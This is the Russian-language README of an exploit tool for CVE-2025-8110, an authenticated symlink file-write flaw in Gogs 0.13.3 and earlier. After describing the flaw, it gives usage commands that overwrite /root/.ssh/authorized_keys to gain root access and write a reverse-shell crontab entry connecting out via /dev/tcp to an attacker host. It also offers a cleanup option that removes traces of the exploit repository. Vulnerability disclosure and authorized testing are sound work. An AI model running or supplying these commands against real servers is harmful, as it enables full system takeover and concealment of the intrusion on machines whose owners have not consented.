
CVE-2025-8110 — Gogs <= 0.13.3 Произвольная запись файла через обход символьных ссылок в API PutContents
Gogs <= 0.13.3 уязвим для произвольной записи файлов через API PutContents (/api/v1/repos/:owner/:repo/contents/:path).
API проверяет пути на последовательности обхода каталогов (../), но не разрешает символические ссылки перед записью. Аутентифицированный пользователь может отправить коммит, содержащий символьную ссылку, указывающую на любой файл на сервере, а затем вызвать PutContents для этой символьной ссылки, чтобы перезаписать целевой файл содержимым, контролируемым атакующим.
Когда Gogs запускается от имени root (по умолчанию в Docker и во многих развертываниях), это приводит к полной компрометации системы.
| Подробность | Значение |
|---|---|
| CVE | CVE-2025-8110 |
| Затронутые версии | Gogs <= 0.13.3 |
| Тип | Аутентифицированная произвольная запись файла → RCE |
| CVSS | 8.8 (Высокий) |
| Компонент | PutContents API |
requests (pip install requests)git CLI# Саморегистрация одноразовой учетной записи + запись SSH-ключа для root
python3 CVE-2025-8110.py --url http://target:3001 --register \
--target-file /root/.ssh/authorized_keys --content-file ~/.ssh/id_rsa.pub
# С существующими учетными данными
python3 CVE-2025-8110.py --url http://target:3001 -u user -p pass \
--target-file /root/.ssh/authorized_keys --content-file ~/.ssh/id_rsa.pub
# Обратная оболочка через crontab
python3 CVE-2025-8110.py --url http://target:3001 -u user -p pass \
--target-file /etc/crontab \
--content '* * * * * root bash -c "bash -i >& /dev/tcp/ATTACKER/4444 0>&1"'
# Очистка репозитория эксплойта после использования
python3 CVE-2025-8110.py --url http://target:3001 -u user -p pass \
--target-file /root/.ssh/authorized_keys --content-file ~/.ssh/id_rsa.pub --cleanup
/root/.ssh/authorized_keys), сделайте коммит и отправьте.root).--url Базовый URL Gogs (например, http://target:3001)
-u, --user Имя пользователя Gogs
-p, --password Пароль Gogs
--register Саморегистрация одноразовой учетной записи (без капчи)
--target-file Абсолютный путь для перезаписи на сервере
--content Строковое содержимое для записи
--content-file Локальный файл, содержимое которого будет записано
--repo Имя создаваемого репозитория (по умолчанию: случайное)
--link-name Имя файла символьной ссылки в репозитории (по умолчанию: payload)
--cleanup Удалить репозиторий эксплойта после записи
Этот инструмент предоставляется только для авторизованного тестирования безопасности и образовательных целей. Несанкционированный доступ к компьютерным системам является незаконным. Используйте ответственно.